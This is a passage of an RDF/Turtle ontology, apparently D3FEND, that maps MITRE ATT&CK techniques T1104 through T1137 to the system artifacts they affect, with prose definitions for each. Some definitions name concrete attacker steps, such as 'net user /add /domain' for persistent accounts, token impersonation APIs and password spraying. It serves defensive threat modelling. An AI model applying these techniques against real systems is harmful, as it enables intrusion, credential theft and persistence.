    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1104 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multi-Stage Channels" ;
    d3f:attack-id "T1104" ;
    d3f:definition "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1105 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Ingress Tool Transfer" ;
    d3f:attack-id "T1105" ;
    d3f:definition "Session is initiated by the client, and may be a custom protocol which is why it is related to generic network traffic instead of file transfer network traffic." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1106 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Native API" ;
    d3f:attack-id "T1106" ;
    d3f:definition "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations." ;
    d3f:invokes d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:ExecutionTechnique .

d3f:T1107 a owl:Class ;
    rdfs:label "File Deletion" ;
    d3f:attack-id "T1107" ;
    d3f:definition "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint." ;
    rdfs:comment "This technique has been revoked by T1070.004" ;
    rdfs:seeAlso d3f:T1070.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1108 a owl:Class ;
    rdfs:label "Redundant Access" ;
    d3f:attack-id "T1108" ;
    d3f:definition "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1109 a owl:Class ;
    rdfs:label "Component Firmware" ;
    d3f:attack-id "T1109" ;
    d3f:definition "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks." ;
    rdfs:comment "This technique has been revoked by T1542.002" ;
    rdfs:seeAlso d3f:T1542.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1110.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Guessing" ;
    d3f:accesses d3f:Password ;
    d3f:attack-id "T1110.001" ;
    d3f:definition "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts." ;
    d3f:modifies d3f:AuthenticationLog ;
    d3f:produces d3f:Authentication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AuthenticationLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Password ],
        d3f:T1110 .

d3f:T1110.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Cracking" ;
    d3f:accesses d3f:Password ;
    d3f:attack-id "T1110.002" ;
    d3f:definition "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Password ],
        d3f:T1110 .

d3f:T1110.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Spraying" ;
    d3f:accesses d3f:Password ;
    d3f:attack-id "T1110.003" ;
    d3f:definition "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)" ;
    d3f:may-create d3f:IntranetAdministrativeNetworkTraffic ;
    d3f:modifies d3f:AuthenticationLog ;
    d3f:produces d3f:Authentication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Password ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AuthenticationLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        d3f:T1110 .

d3f:T1110.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Stuffing" ;
    d3f:attack-id "T1110.004" ;
    d3f:definition "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts." ;
    d3f:may-create d3f:IntranetAdministrativeNetworkTraffic ;
    d3f:modifies d3f:AuthenticationLog ;
    d3f:produces d3f:Authentication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AuthenticationLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:T1110 .

d3f:T1111 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multi-Factor Authentication Interception" ;
    d3f:attack-id "T1111" ;
    d3f:definition "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms." ;
    d3f:may-access d3f:SecurityToken ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:SecurityToken ],
        d3f:CredentialAccessTechnique .

d3f:T1112 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Modify Registry" ;
    d3f:attack-id "T1112" ;
    d3f:definition "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution." ;
    d3f:modifies d3f:WindowsRegistry ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:WindowsRegistry ],
        d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique .

d3f:T1113 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Screen Capture" ;
    d3f:attack-id "T1113" ;
    d3f:definition "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)" ;
    d3f:may-access d3f:DisplayServer ;
    d3f:may-invoke d3f:GetScreenCapture ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:DisplayServer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetScreenCapture ],
        d3f:CollectionTechnique .

d3f:T1114.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Email Collection" ;
    d3f:attack-id "T1114.001" ;
    d3f:definition "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files." ;
    d3f:reads d3f:Email ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:Email ],
        d3f:T1114 .

d3f:T1114.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Email Collection" ;
    d3f:accesses d3f:MailServer ;
    d3f:attack-id "T1114.002" ;
    d3f:definition "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:MailServer ],
        d3f:T1114 .

d3f:T1114.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Forwarding Rule" ;
    d3f:attack-id "T1114.003" ;
    d3f:definition "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)" ;
    d3f:modifies d3f:ApplicationConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:T1114 .

d3f:T1115 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Clipboard Data" ;
    d3f:attack-id "T1115" ;
    d3f:definition "Adversaries may collect data stored in the clipboard from users copying information within or between applications." ;
    d3f:reads d3f:Clipboard ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:Clipboard ],
        d3f:CollectionTechnique .

d3f:T1116 a owl:Class ;
    rdfs:label "Code Signing" ;
    d3f:attack-id "T1116" ;
    d3f:definition "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)" ;
    rdfs:comment "This technique has been revoked by T1553.002" ;
    rdfs:seeAlso d3f:T1553.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1117 a owl:Class ;
    rdfs:label "Regsvr32" ;
    d3f:attack-id "T1117" ;
    d3f:definition "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)" ;
    rdfs:comment "This technique has been revoked by T1218.010" ;
    rdfs:seeAlso d3f:T1218.010 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1118 a owl:Class ;
    rdfs:label "InstallUtil" ;
    d3f:attack-id "T1118" ;
    d3f:definition "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft." ;
    rdfs:comment "This technique has been revoked by T1218.004" ;
    rdfs:seeAlso d3f:T1218.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1119 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Automated Collection" ;
    d3f:accesses d3f:File ;
    d3f:attack-id "T1119" ;
    d3f:definition "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:CollectionTechnique .

d3f:T1120 a owl:Class ;
    rdfs:label "Peripheral Device Discovery" ;
    d3f:attack-id "T1120" ;
    d3f:definition "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1121 a owl:Class ;
    rdfs:label "Regsvcs/Regasm" ;
    d3f:attack-id "T1121" ;
    d3f:definition "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)" ;
    rdfs:comment "This technique has been revoked by T1218.009" ;
    rdfs:seeAlso d3f:T1218.009 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1122 a owl:Class ;
    rdfs:label "Component Object Model Hijacking" ;
    d3f:attack-id "T1122" ;
    d3f:definition "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection." ;
    rdfs:comment "This technique has been revoked by T1546.015" ;
    rdfs:seeAlso d3f:T1546.015 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1123 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Audio Capture" ;
    d3f:accesses d3f:AudioInputDevice ;
    d3f:attack-id "T1123" ;
    d3f:definition "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:AudioInputDevice ],
        d3f:CollectionTechnique .

d3f:T1124 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Time Discovery" ;
    d3f:attack-id "T1124" ;
    d3f:definition "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)" ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:GetSystemTime ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetSystemTime ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:DiscoveryTechnique .

d3f:T1125 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Video Capture" ;
    d3f:accesses d3f:DigitalCamera,
        d3f:VideoInputDevice ;
    d3f:attack-id "T1125" ;
    d3f:definition "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:DigitalCamera ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:VideoInputDevice ],
        d3f:CollectionTechnique .

d3f:T1126 a owl:Class ;
    rdfs:label "Network Share Connection Removal" ;
    d3f:attack-id "T1126" ;
    d3f:definition "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)" ;
    rdfs:comment "This technique has been revoked by T1070.005" ;
    rdfs:seeAlso d3f:T1070.005 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1127.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "MSBuild" ;
    d3f:attack-id "T1127.001" ;
    d3f:definition "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)" ;
    d3f:modifies d3f:CompilerConfigurationFile ;
    d3f:runs d3f:Compiler ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:Compiler ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:CompilerConfigurationFile ],
        d3f:T1127 .

d3f:T1127.002 a owl:Class ;
    rdfs:label "ClickOnce" ;
    d3f:attack-id "T1127.002" ;
    d3f:definition "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)" ;
    rdfs:subClassOf d3f:T1127 .

d3f:T1127.003 a owl:Class ;
    rdfs:label "JamPlus" ;
    d3f:attack-id "T1127.003" ;
    d3f:definition "Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)" ;
    rdfs:subClassOf d3f:T1127 .

d3f:T1128 a owl:Class ;
    rdfs:label "Netsh Helper DLL" ;
    d3f:attack-id "T1128" ;
    d3f:definition "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>." ;
    rdfs:comment "This technique has been revoked by T1546.007" ;
    rdfs:seeAlso d3f:T1546.007 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1129 a owl:Class ;
    rdfs:label "Shared Modules" ;
    d3f:attack-id "T1129" ;
    d3f:definition "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106))." ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1130 a owl:Class ;
    rdfs:label "Install Root Certificate" ;
    d3f:attack-id "T1130" ;
    d3f:definition "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website." ;
    rdfs:comment "This technique has been revoked by T1553.004" ;
    rdfs:seeAlso d3f:T1553.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1131 a owl:Class ;
    rdfs:label "Authentication Package" ;
    d3f:attack-id "T1131" ;
    d3f:definition "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)" ;
    rdfs:comment "This technique has been revoked by T1547.002" ;
    rdfs:seeAlso d3f:T1547.002 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1132.001 a owl:Class ;
    rdfs:label "Standard Encoding" ;
    d3f:attack-id "T1132.001" ;
    d3f:definition "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip." ;
    rdfs:subClassOf d3f:T1132 .

d3f:T1132.002 a owl:Class ;
    rdfs:label "Non-Standard Encoding" ;
    d3f:attack-id "T1132.002" ;
    d3f:definition "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)" ;
    rdfs:subClassOf d3f:T1132 .

d3f:T1133 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "External Remote Services" ;
    d3f:attack-id "T1133" ;
    d3f:definition "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)" ;
    d3f:produces d3f:Authentication,
        d3f:Authorization,
        d3f:NetworkSession ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkSession ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authorization ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:InitialAccessTechnique,
        d3f:PersistenceTechnique .

d3f:T1134.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create Process with Token" ;
    d3f:attack-id "T1134.002" ;
    d3f:copies d3f:AccessToken ;
    d3f:definition "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)" ;
    d3f:may-modify d3f:EventLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EventLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:T1134 .

d3f:T1134.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Make and Impersonate Token" ;
    d3f:attack-id "T1134.003" ;
    d3f:copies d3f:AccessToken ;
    d3f:creates d3f:LoginSession ;
    d3f:definition "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread." ;
    d3f:may-modify d3f:EventLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:AccessToken ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:LoginSession ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:T1134 .

d3f:T1135 a owl:Class ;
    rdfs:label "Network Share Discovery" ;
    d3f:attack-id "T1135" ;
    d3f:definition "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1136.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Account" ;
    d3f:attack-id "T1136.001" ;
    d3f:creates d3f:LocalUserAccount ;
    d3f:definition "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:T1136 .

d3f:T1136.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Account" ;
    d3f:attack-id "T1136.002" ;
    d3f:creates d3f:DomainUserAccount ;
    d3f:definition "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        d3f:T1136 .

d3f:T1136.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Account" ;
    d3f:attack-id "T1136.003" ;
    d3f:creates d3f:CloudUserAccount ;
    d3f:definition "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:CloudUserAccount ],
        d3f:T1136 .

d3f:T1137.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Office Template Macros" ;
    d3f:attack-id "T1137.001" ;
    d3f:definition "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)" ;
    d3f:may-add d3f:ExecutableScript ;
    d3f:may-modify d3f:ExecutableScript,
        d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1137 .

d3f:T1137.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Office Test" ;
